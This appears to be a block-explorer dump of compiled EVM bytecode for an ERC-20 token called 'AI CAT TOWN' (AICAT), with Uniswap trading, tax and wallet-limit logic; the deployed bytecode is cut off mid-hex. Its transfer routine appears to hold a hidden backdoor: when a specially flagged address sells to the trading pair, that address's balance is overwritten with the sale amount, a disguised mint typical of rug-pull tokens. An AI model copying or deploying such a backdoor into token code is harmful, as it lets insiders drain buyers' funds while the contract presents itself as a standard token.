e6290919063ffffffff16565b60405161192a919061210a565b60405180910390a3505050505050565b5f838311158290611981576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119789190611fd9565b60405180910390fd5b505f838561198f9190612bab565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119d3576119d2612bde565b5b604051908082528060200260200182016040528015611a015781602001602082028036833780820191505090505b50905030815f81518110611a1857611a17612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ae09190612503565b81600181518110611af457611af3612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5a3060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e5b565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bbc959493929190612cef565b5f604051808303815f87803b158015611bd3575f80fd5b505af1158015611be5573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c6c573d5f803e3d5ffd5b5050565b5f808303611c80575f9050611ce1565b5f8284611c8d91906123de565b9050828482611c9c9190612582565b14611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd390612db7565b60405180910390fd5b809150505b92915050565b5f611d2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f08565b905092915050565b5f818311611d3e5782611d40565b815b905092915050565b5f805f831115611e4957611da28360015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eab90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e40919061210a565b60405180910390a35b838385611e569190612bab565b91509150935093915050565b5f611ea383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061193a565b905092915050565b5f808284611eb99190612a61565b905083811015611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590612e1f565b60405180910390fd5b8091505092915050565b5f8083118290611f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f459190611fd9565b60405180910390fd5b505f8385611f5c9190612582565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611fab82611f69565b611fb58185611f73565b9350611fc5818560208601611f83565b611fce81611f91565b840191505092915050565b5f6020820190508181035f830152611ff18184611fa1565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61202682611ffd565b9050919050565b6120368161201c565b8114612040575f80fd5b50565b5f813590506120518161202d565b92915050565b5f819050919050565b61206981612057565b8114612073575f80fd5b50565b5f8135905061208481612060565b92915050565b5f80604083850312156120a05761209f611ff9565b5b5f6120ad85828601612043565b92505060206120be85828601612076565b9150509250929050565b5f8115159050919050565b6120dc816120c8565b82525050565b5f6020820190506120f55f8301846120d3565b92915050565b61210481612057565b82525050565b5f60208201905061211d5f8301846120fb565b92915050565b5f805f6060848603121561213a57612139611ff9565b5b5f61214786828701612043565b935050602061215886828701612043565b925050604061216986828701612076565b9150509250925092565b5f60ff82169050919050565b61218881612173565b82525050565b5f6020820190506121a15f83018461217f565b92915050565b5f602082840312156121bc576121bb611ff9565b5b5f6121c984828501612043565b91505092915050565b6121db8161201c565b82525050565b5f6020820190506121f45f8301846121d2565b92915050565b5f80604083850312156122105761220f611ff9565b5b5f61221d85828601612043565b925050602061222e85828601612043565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122ba5780860481111561229657612295612238565b5b60018516156122a55780820291505b80810290506122b385612265565b945061227a565b94509492505050565b5f826122d2576001905061238d565b816122df575f905061238d565b81600181146122f557600281146122ff5761232e565b600191505061238d565b60ff84111561231157612310612238565b5b8360020a91508482111561232857612327612238565b5b5061238d565b5060208310610133831016604e8410600b84101617156123635782820a90508381111561235e5761235d612238565b5b61238d565b6123708484846001612271565b9250905081840481111561238757612386612238565b5b81810290505b9392505050565b5f61239e82612057565b91506123a983612173565b92506123d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122c3565b905092915050565b5f6123e882612057565b91506123f383612057565b925082820261240181612057565b9150828204841483151761241857612417612238565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612453602083611f73565b915061245e8261241f565b602082019050919050565b5f6020820190508181035f83015261248081612447565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6124bb601783611f73565b91506124c682612487565b602082019050919050565b5f6020820190508181035f8301526124e8816124af565b9050919050565b5f815190506124fd8161202d565b92915050565b5f6020828403121561251857612517611ff9565b5b5f612525848285016124ef565b91505092915050565b5f6040820190506125415f8301856121d2565b61254e60208301846121d2565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61258c82612057565b915061259783612057565b9250826125a7576125a6612555565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6125de6125d96125d4846125b2565b6125bb565b612057565b9050919050565b6125ee816125c4565b82525050565b5f60c0820190506126075f8301896121d2565b61261460208301886120fb565b61262160408301876125e5565b61262e60608301866125e5565b61263b60808301856121d2565b61264860a08301846120fb565b979650505050505050565b5f8151905061266181612060565b92915050565b5f805f6060848603121561267e5761267d611ff9565b5b5f61268b86828701612653565b935050602061269c86828701612653565b92505060406126ad86828701612653565b9150509250925092565b5f6040820190506126ca5f8301856121d2565b6126d760208301846120fb565b9392505050565b6126e7816120c8565b81146126f1575f80fd5b50565b5f81519050612702816126de565b92915050565b5f6020828403121561271d5761271c611ff9565b5b5f61272a848285016126f4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61278d602483611f73565b915061279882612733565b604082019050919050565b5f6020820190508181035f8301526127ba81612781565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61281b602283611f73565b9150612826826127c1565b604082019050919050565b5f6020820190508181035f8301526128488161280f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128a9602583611f73565b91506128b48261284f565b604082019050919050565b5f6020820190508181035f8301526128d68161289d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612937602383611f73565b9150612942826128dd565b604082019050919050565b5f6020820190508181035f8301526129648161292b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129c5602983611f73565b91506129d08261296b565b604082019050919050565b5f6020820190508181035f8301526129f2816129b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612a2d601983611f73565b9150612a38826129f9565b602082019050919050565b5f6020820190508181035f830152612a5a81612a21565b9050919050565b5f612a6b82612057565b9150612a7683612057565b9250828201905080821115612a8e57612a8d612238565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612ac8601a83611f73565b9150612ad382612a94565b602082019050919050565b5f6020820190508181035f830152612af581612abc565b9050919050565b5f612b0682612057565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b3857612b37612238565b5b600182019050919050565b7f616d6f756e74206973206e6f7420617661696c61626c650000000000000000005f82015250565b5f612b77601783611f73565b9150612b8282612b43565b602082019050919050565b5f6020820190508181035f830152612ba481612b6b565b9050919050565b5f612bb582612057565b9150612bc083612057565b9250828203905081811115612bd857612bd7612238565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6a8161201c565b82525050565b5f612c7b8383612c61565b60208301905092915050565b5f602082019050919050565b5f612c9d82612c38565b612ca78185612c42565b9350612cb283612c52565b805f5b83811015612ce2578151612cc98882612c70565b9750612cd483612c87565b925050600181019050612cb5565b5085935050505092915050565b5f60a082019050612d025f8301886120fb565b612d0f60208301876125e5565b8181036040830152612d218186612c93565b9050612d3060608301856121d2565b612d3d60808301846120fb565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612da1602183611f73565b9150612dac82612d47565b604082019050919050565b5f6020820190508181035f830152612dce81612d95565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e09601b83611f73565b9150612e1482612dd5565b602082019050919050565b5f6020820190508181035f830152612e3681612dfd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206c538ca87e8277dacf4cc6867d8acdd84bd6e3844451f74c4c35f2b70990546264736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c80637d1db4a511610094578063a9059cbb11610063578063a9059cbb14610347578063bf474bed14610383578063c876d0b9146103ad578063c9567bf9146103d7578063dd62ed3e146103ed57610113565b80637d1db4a51461029f5780638da5cb5b146102c95780638f9a55c0146102f357806395d89b411461031d57610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d57806351bc3c851461023757806370a082311461024d578063715018a61461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610429565b6040516101389190611fd9565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061208a565b610466565b60405161017491906120e2565b60405180910390f35b348015610188575f80fd5b50610191610483565b60405161019e919061210a565b60405180910390f35b3480156101b2575f80fd5b506101bb610489565b6040516101c8919061210a565b60405180910390f35b3480156101dc575f80fd5b506101f760048036038101906101f29190612123565b6104ac565b60405161020491906120e2565b60405180910390f35b348015610218575f80fd5b50610221610579565b60405161022e919061218e565b60405180910390f35b348015610242575f80fd5b5061024b610581565b005b348015610258575f80fd5b50610273600480360381019061026e91906121a7565b610619565b604051610280919061210a565b60405180910390f35b348015610294575f80fd5b5061029d61065f565b005b3480156102aa575f80fd5b506102b36107ad565b6040516102c0919061210a565b60405180910390f35b3480156102d4575f80fd5b506102dd6107b3565b6040516102ea91906121e1565b60405180910390f35b3480156102fe575f80fd5b506103076107da565b604051610314919061210a565b60405180910390f35b348015610328575f80fd5b506103316107e0565b60405161033e9190611fd9565b60405180910390f35b348015610352575f80fd5b5061036d6004803603810190610368919061208a565b61081d565b60405161037a91906120e2565b60405180910390f35b34801561038e575f80fd5b5061039761083a565b6040516103a4919061210a565b60405180910390f35b3480156103b8575f80fd5b506103c1610840565b6040516103ce91906120e2565b60405180910390f35b3480156103e2575f80fd5b506103eb610852565b005b3480156103f8575f80fd5b50610413600480360381019061040e91906121fa565b610dd2565b604051610420919061210a565b60405180910390f35b60606040518060400160405280600b81526020017f41492043415420544f574e000000000000000000000000000000000000000000815250905090565b5f610479610472610e54565b8484610e5b565b6001905092915050565b60165481565b5f6009600a6104989190612394565b6305f5e1006104a791906123de565b905090565b5f6104b884848461101e565b61056e846104c4610e54565b61056985604051806060016040528060288152602001612e3e6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461193a9092919063ffffffff16565b610e5b565b600190509392505050565b5f6009905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105c2610e54565b73ffffffffffffffffffffffffffffffffffffffff16146105e1575f80fd5b5f6105eb30610619565b90505f8111156105ff576105fe8161199c565b5b5f4790505f8111156106155761061481611c07565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610667610e54565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612469565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600581526020017f4149434154000000000000000000000000000000000000000000000000000000815250905090565b5f610830610829610e54565b848461101e565b6001905092915050565b60155481565b60095f9054906101000a900460ff1681565b61085a610e54565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dd90612469565b60405180910390fd5b601860149054906101000a900460ff1615610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d906124d1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109d23060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109be9190612394565b6305f5e1006109cd91906123de565b610e5b565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a609190612503565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0a9190612503565b6040518363ffffffff1660e01b8152600401610b2792919061252e565b6020604051808303815f875af1158015610b43573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b679190612503565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473060646062610bf230610619565b610bfc91906123de565b610c069190612582565b5f80610c106107b3565b426040518863ffffffff1660e01b8152600401610c32969594939291906125f4565b60606040518083038185885af1158015610c4e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c739190612667565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d139291906126b7565b6020604051808303815f875af1158015610d2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d539190612708565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff0219169083151502179055506009600a610d989190612394565b6305f5e100610da791906123de565b6013819055506009600a610dbb9190612394565b6305f5e100610dca91906123de565b601481905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec0906127a3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e90612831565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611011919061210a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611083906128bf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f19061294d565b60405180910390fd5b5f811161113c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611133906129db565b60405180910390fd5b5f6111456107b3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111b357506111836107b3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611788576111f460646111e6600f54601254116111d357600b546111d7565b600d545b85611c7090919063ffffffff16565b611ce790919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561129f575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112f2575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113ac5760135482111561133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612a43565b60405180910390fd5b6014548261134985610619565b6113539190612a61565b1115611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90612ade565b60405180910390fd5b60125f8154809291906113a690612afc565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561143457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115a05760055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156114d6575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611561578160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f821015611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612b8d565b60405180910390fd5b5b61159d606461158f6010546012541161157c57600c54611580565b600e545b85611c7090919063ffffffff16565b611ce790919063ffffffff16565b90505b60095f9054906101000a900460ff16156116a65760175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165d575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156116a5574360085f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5f6116b030610619565b9050601860159054906101000a900460ff1615801561171b575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117335750601860169054906101000a900460ff165b80156117425750601154601254115b156117865760155481111561176f5761176e6117698461176484601654611d30565b611d30565b61199c565b5b5f4790505f81106117845761178347611c07565b5b505b505b5f80611795868585611d48565b915091506117e98260015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e6290919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187a8160015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eab90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61191d8688611e6290919063ffffffff16565b60405161192a919061210a565b60405180910390a3505050505050565b5f838311158290611981576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119789190611fd9565b60405180910390fd5b505f838561198f9190612bab565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119d3576119d2612bde565b5b604051908082528060200260200182016040528015611a015781602001602082028036833780820191505090505b50905030815f81518110611a1857611a17612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ae09190612503565b81600181518110611af457611af3612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5a3060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e5b565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bbc959493929190612cef565b5f604051808303815f87803b158015611bd3575f80fd5b505af1158015611be5573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c6c573d5f803e3d5ffd5b5050565b5f808303611c80575f9050611ce1565b5f8284611c8d91906123de565b9050828482611c9c9190612582565b14611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd390612db7565b60405180910390fd5b809150505b92915050565b5f611d2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f08565b905092915050565b5f818311611d3e5782611d40565b815b905092915050565b5f805f831115611e4957611da28360015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eab90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e40919061210a565b60405180910390a35b838385611e569190612bab565b91509150935093915050565b5f611ea383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061193a565b905092915050565b5f808284611eb99190612a61565b905083811015611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590612e1f565b60405180910390fd5b8091505092915050565b5f8083118290611f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f459190611fd9565b60405180910390fd5b505f8385611f5c9190612582565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611fab82611f69565b611fb58185611f73565b9350611fc5818560208601611f83565b611fce81611f91565b840191505092915050565b5f6020820190508181035f830152611ff18184611fa1565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61202682611ffd565b9050919050565b6120368161201c565b8114612040575f80fd5b50565b5f813590506120518161202d565b92915050565b5f819050919050565b61206981612057565b8114612073575f80fd5b50565b5f8135905061208481612060565b92915050565b5f80604083850312156120a05761209f611ff9565b5b5f6120ad85828601612043565b92505060206120be85828601612076565b9150509250929050565b5f8115159050919050565b6120dc816120c8565b82525050565b5f6020820190506120f55f8301846120d3565b92915050565b61210481612057565b82525050565b5f60208201905061211d5f8301846120fb565b92915050565b5f805f6060848603121561213a57612139611ff9565b5b5f61214786828701612043565b935050602061215886828701612043565b925050604061216986828701612076565b9150509250925092565b5f60ff82169050919050565b61218881612173565b82525050565b5f6020820190506121a15f83018461217f565b92915050565b5f602082840312156121bc576121bb611ff9565b5b5f6121c984828501612043565b91505092915050565b6121db8161201c565b82525050565b5f6020820190506121f45f8301846121d2565b92915050565b5f80604083850312156122105761220f611ff9565b5b5f61221d85828601612043565b925050602061222e85828601612043565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122ba5780860481111561229657612295612238565b5b60018516156122a55780820291505b80810290506122b385612265565b945061227a565b94509492505050565b5f826122d2576001905061238d565b816122df575f905061238d565b81600181146122f557600281146122ff5761232e565b600191505061238d565b60ff84111561231157612310612238565b5b8360020a91508482111561232857612327612238565b5b5061238d565b5060208310610133831016604e8410600b84101617156123635782820a90508381111561235e5761235d612238565b5b61238d565b6123708484846001612271565b9250905081840481111561238757612386612238565b5b81810290505b9392505050565b5f61239e82612057565b91506123a983612173565b92506123d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122c3565b905092915050565b5f6123e882612057565b91506123f383612057565b925082820261240181612057565b9150828204841483151761241857612417612238565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612453602083611f73565b915061245e8261241f565b602082019050919050565b5f6020820190508181035f83015261248081612447565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6124bb601783611f73565b91506124c682612487565b602082019050919050565b5f6020820190508181035f8301526124e8816124af565b9050919050565b5f815190506124fd8161202d565b92915050565b5f6020828403121561251857612517611ff9565b5b5f612525848285016124ef565b91505092915050565b5f6040820190506125415f8301856121d2565b61254e60208301846121d2565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61258c82612057565b915061259783612057565b9250826125a7576125a6612555565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6125de6125d96125d4846125b2565b6125bb565b612057565b9050919050565b6125ee816125c4565b82525050565b5f60c0820190506126075f8301896121d2565b61261460208301886120fb565b61262160408301876125e5565b61262e60608301866125e5565b61263b60808301856121d2565b61264860a08301846120fb565b979650505050505050565b5f8151905061266181612060565b92915050565b5f805f6060848603121561267e5761267d611ff9565b5b5f61268b86828701612653565b935050602061269c86828701612653565b92505060406126ad86828701612653565b9150509250925092565b5f6040820190506126ca5f8301856121d2565b6126d760208301846120fb565b9392505050565b6126e7816120c8565b81146126f1575f80fd5b50565b5f81519050612702816126de565b92915050565b5f6020828403121561271d5761271c611ff9565b5b5f61272a848285016126f4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61278d602483611f73565b915061279882612733565b604082019050919050565b5f6020820190508181035f8301526127ba81612781565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61281b602283611f73565b9150612826826127c1565b604082019050919050565b5f6020820190508181035f8301526128488161280f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128a9602583611f73565b91506128b48261284f565b604082019050919050565b5f6020820190508181035f8301526128d68161289d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612937602383611f73565b9150612942826128dd565b604082019050919050565b5f6020820190508181035f8301526129648161292b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129c5602983611f73565b91506129d08261296b565b604082019050919050565b5f6020820190508181035f8301526129f2816129b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612a